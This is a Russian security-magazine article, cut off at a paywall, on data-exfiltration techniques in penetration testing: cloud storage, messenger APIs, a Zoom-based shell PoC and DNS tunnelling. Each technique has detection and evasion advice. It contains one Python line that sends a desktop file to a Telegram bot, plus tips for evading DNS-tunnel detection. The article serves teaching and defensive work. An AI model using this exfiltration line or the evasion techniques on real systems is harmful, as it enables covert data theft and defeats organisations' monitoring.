Эк­сфиль­тра­ция дан­ных — этап тес­тирова­ния на про­ник­новение, ког­да ата­кующий пыта­ется скрыт­но выг­рузить дан­ные из целевой сис­темы за пре­делы перимет­ра орга­низа­ции. При этом важ­но не прив­лечь вни­мание средств защиты и остать­ся незаме­чен­ным. В сегод­няшней статье мы погово­рим о раз­ных методах эксфиль­тра­ции и средс­твах борь­бы с ними.

В MITRE ATT&CK выделе­ны сле­дующие тех­ники переда­чи дан­ных, исполь­зуемые зло­умыш­ленни­ками:

  • ав­томати­зиро­ван­ная эксфиль­тра­ция (Automated Exfiltration);
  • ог­раниче­ние раз­мера переда­ваемых дан­ных (Data Transfer Size Limits);
  • эк­сфиль­тра­ция через аль­тер­натив­ный про­токол (Exfiltration Over Alternative Protocol);
  • эк­сфиль­тра­ция через канал управле­ния C2 (Exfiltration Over Command and Control Channel);
  • эк­сфиль­тра­ция через аль­тер­натив­ную сетевую сре­ду (Exfiltration Over Other Network Medium);
  • эк­сфиль­тра­ция через аль­тер­натив­ную физичес­кую сре­ду (Exfiltration Over Physical Medium);
  • эк­сфиль­тра­ция через веб‑сер­вис (Exfiltration Over Web Service);
  • зап­ланиро­ван­ная переда­ча (Scheduled Transfer);
  • пе­реда­ча дан­ных на облачный сер­вис (Transfer Data to Cloud Account).

Я рас­смот­рю нес­коль­ко наибо­лее зна­чимых методов эксфиль­тра­ции, обсу­дим, как им про­тиво­дей­ству­ет защита и каким обра­зом это про­тиво­дей­ствие мож­но обой­ти при тес­тирова­нии.

 

Эксфильтрация данных через облачные сервисы

Ес­ли говорить о спо­собах эксфиль­тра­ции, то, конеч­но же, заг­рузка на внеш­ний облачный диск — это наибо­лее прос­той спо­соб. Если в кор­поратив­ной сети раз­решены облачные хра­нили­ща, такие как Google Drive, Dropbox, Microsoft OneDrive, их мож­но исполь­зовать для эксфиль­тра­ции дан­ных за пре­делы сетево­го перимет­ра и оста­вать­ся незаме­чен­ным. Ата­кующе­му в дан­ном слу­чае не нуж­но нас­тра­ивать собс­твен­ную инфраструк­туру.

Нап­ример, модуль exfil_dropbox фрей­мвор­ка для пос­тэкс­плу­ата­ции PowerShell Empire под­держи­вает такую воз­можность «из короб­ки». Этот модуль исполь­зует облачное хра­нили­ще Dropbox.

Пред­положим, у нас есть дос­туп к уда­лен­ному компь­юте­ру в виде сес­сии PowerShell Empire. Задача — заг­рузить на облачный сер­вис Dropbox нес­коль­ко фай­лов c рабоче­го сто­ла.

Загрузка файлов с рабочего стола
Заг­рузка фай­лов с рабоче­го сто­ла

Ес­ли пред­варитель­ная нас­трой­ка API Key сде­лана вер­но, пос­ле запус­ка модуля фай­лы будут заг­ружены по ука­зан­ному пути в облачный сер­вис Dropbox.

Загрузка файлов в Dropbox
Заг­рузка фай­лов в Dropbox

Од­нако мир дви­жет­ся впе­ред, и сей­час мно­гие уже не исполь­зуют сер­висы хос­тинга фай­лов: их с успе­хом замени­ли мес­сен­дже­ры, прак­тичес­ки в каж­дом из которых есть воз­можность исполь­зовать диалог как облачное хра­нили­ще. То, сколь­ко в чатах того же WhatsApp ходит фотог­рафий пас­портов и дру­гих пер­сональ­ных дан­ных «по работе», зас­лужива­ет отдель­ной статьи. Кро­ме того, для нас важ­но, что у круп­ных мес­сен­дже­ров есть веб‑вер­сии, дос­тупные нап­рямую из бра­узе­ра. Выг­ружать дан­ные через них воз­можно как через бра­узер (если мы име­ем физичес­кий дос­туп к машине), так и авто­мати­чес­ки, исполь­зуя API. Зачас­тую для это­го уже пре­дус­мотре­на фун­кция заг­рузки фай­лов. Нап­ример, через Telegram-бота. Дела­ется это все­го одним POST-зап­росом.

import requests
requests.post("https://api.telegram.org/botBOTTOKEN/sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.jpg','rb')})

В резуль­тате файл заг­ружен сра­зу в авто­мати­чес­ком режиме.

Загруженный файл
Заг­ружен­ный файл

В качес­тве канала выг­рузки дан­ных мож­но вос­поль­зовать­ся фун­кци­ей заг­рузки фай­лов на любых дру­гих легитим­ных ресур­сах. Нап­ример, она есть на мно­жес­тве Wiki-про­ектов и баг­тре­керах.

 

Как ловить?

От­делить чес­тный поль­зователь­ский тра­фик от зло­дей­ской попыт­ки вывес­ти дан­ные через веб — задача неп­ростая. Осо­бен­но учи­тывая, что сей­час поч­ти не оста­лось ресур­сов, которые бы не исполь­зовали шиф­рование. Так что основной инс­тру­мент борь­бы в этом слу­чае — баналь­ная бло­киров­ка внеш­них ресур­сов на перимет­ре орга­низа­ции. Так мож­но бороть­ся с заг­рузкой на облачные хра­нили­ща или даже заб­локиро­вать все мес­сен­дже­ры и GitHub. Одна­ко это не спа­сет от вык­ладыва­ния порезан­ного на кус­ки шиф­рован­ного архи­ва с изме­нен­ным рас­ширени­ем на какую‑нибудь мало­извес­тную, но име­ющую чес­тную репута­цию вики.

На­ибо­лее дешевый и эффектив­ный спо­соб в этом слу­чае — вай­тлист интернет‑ресур­сов, дос­тупных из кор­поратив­ной сети. Одна­ко сей­час очень мало орга­низа­ций может поз­волить себе пол­ностью изо­лиро­вать сво­их сот­рудни­ков от веба. Если такая воз­можность есть, то мож­но исполь­зовать филь­тру­ющий прок­си, что даст поль­зовате­лям дос­туп к вебу и обес­печит кон­троль конеч­ных URL, типов и тел зап­росов.

 

Как обойти?

Да­же если фун­кция заг­рузки фай­ла недос­тупна в чис­том виде (нап­ример, заб­локиро­ваны все POST-зап­росы раз­мером боль­ше 1 Мбайт), воз­можность переда­вать сооб­щения в обе сто­роны при исполь­зовании средств авто­мати­зации прев­раща­ет про­токол такого при­ложе­ния в пол­ноцен­ную сре­ду переда­чи дан­ных. Рас­смот­рим в качес­тве при­мера при­ложе­ние Zoom, став­шее очень популяр­ным за вре­мя пан­демии. Это при­ложе­ние име­ет пол­ноцен­ный REST API. Как в кли­енте, так и через API Zoom есть воз­можность соз­давать каналы и писать сооб­щения в них.

На GitHub выложен PoC на Python, пред­став­ляющий собой шелл, который исполь­зует каналы Zoom как сре­ду переда­чи. Управлять ПК, на котором запущен скрипт, воз­можно как через API, так и непос­редс­твен­но из кли­ента.

Каналы в Zoom
Ка­налы в Zoom

За­меть, этот PoC соз­дан в пер­вую оче­редь для демонс­тра­ции и не учи­тыва­ет задава­емые Zoom огра­ниче­ния на количес­тво сооб­щений и дли­ну одно­го сооб­щения.

Важ­ная осо­бен­ность здесь в том, что API-зап­росы при­нима­ют все сер­веры Zoom. В том чис­ле даже если зап­рос идет по IP, без име­ни хос­та. Таким обра­зом, если в про­цес­сах ком­пании плот­но исполь­зует­ся Zoom, про­тиво­дей­ство­вать такому методу слож­но, не бло­кируя дос­туп к сер­верам Zoom пол­ностью. Это спра­вед­ливо и если говорить о выг­рузке через дру­гие мес­сен­дже­ры. Если не знать вызыва­емый метод API, невоз­можно отфиль­тро­вать выг­рузку дан­ных от легитим­ного тра­фика мес­сен­дже­ра.

 

DNS-туннелирование

Ин­капсу­ляция дан­ных в тело прик­ладных про­токо­лов — один из самых рас­простра­нен­ных методов эксфиль­тра­ции дан­ных и пос­тро­ения тун­нелей. Так как исхо­дящий DNS-тра­фик раз­решен в боль­шинс­тве кор­поратив­ных сетей, его мож­но исполь­зовать как канал свя­зи меж­ду сер­вером ата­кующе­го и ском­про­мети­рован­ным хос­том.

В нас­тоящее вре­мя сущес­тву­ет мно­жес­тво ути­лит для соз­дания DNS-тун­нелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka, OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на кон­ферен­ции ZeroNights санкт‑петер­бург­ская груп­па DC 7812 пред­ста­вила рас­ширение Meterpreter, реали­зующее тран­спортный канал для кон­тро­ля над аген­том Meterpreter при помощи DNS-тун­неля.

Расширение Meterpreter
Рас­ширение Meterpreter
 

Как ловить?

Есть раз­ные методы обна­руже­ния DNS-тун­нелиро­вания в сети. Все они осно­ваны на ана­лизе содер­жимого пакетов DNS, а так­же количес­тва и час­тоты DNS-зап­росов. При эксфиль­тра­ции дан­ные кодиру­ются и переда­ются в виде под­доменов треть­его уров­ня. Дли­на под­домена, как пра­вило, не пре­выша­ет 30 сим­волов, соот­ветс­твен­но, мож­но уста­новить пра­вила для бло­киров­ки зап­росов, пре­выша­ющих этот порог.

Еще один спо­соб — ана­лиз энтро­пии домен­ных имен. Как пра­вило, легитим­ные URL содер­жат осмыслен­ные час­ти, в то вре­мя как закоди­рован­ные в Base64 дан­ные име­ют более высокую энтро­пию.

Как вари­ант, мож­но искать в пакетах записи DNS, которые нехарак­терны для легитим­ного тра­фика, нап­ример CNAME или TXT. Если полити­ка безопас­ности тре­бует, что­бы все зап­росы про­ходи­ли через внут­ренний сер­вер DNS, то по наруше­ниям мож­но отсле­дить нелеги­тим­ный тра­фик. Одна­ко боль­шинс­тво ути­лит пред­назна­чены для работы даже при пересыл­ке зап­росов через внут­ренний DNS. Мно­гие ути­литы исполь­зуют собс­твен­ные алго­рит­мы генера­ции домен­ных имен, что поз­воля­ет обна­ружи­вать тун­нели по сиг­натурам.

Один из основных и наибо­лее прос­тых методов обна­руже­ния — ана­лиз объ­ема DNS-тра­фика для кон­крет­ного кли­ент­ско­го IP-адре­са. Если зап­росов вдруг замет­но боль­ше, чем от дру­гих хос­тов, зна­чит, есть подоз­рение на эксфиль­тра­цию.

 

Как обойти?

Для скры­тия DNS-тун­нелиро­вания от средств защиты луч­ше все­го исполь­зовать самопис­ные инс­тру­мен­ты, так как сиг­натуры уже соз­данных ути­лит есть у вен­доров. Кро­ме того, луч­ше все­го исполь­зовать рас­простра­нен­ные типы DNS-записей, такие как A и AAAA. Так­же мож­но исполь­зовать уни­каль­ные алго­рит­мы генера­ции домен­ного име­ни для переда­чи закоди­рован­ной информа­ции, что­бы они не пре­выша­ли опре­делен­ной дли­ны и име­ли неболь­шую энтро­пию.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии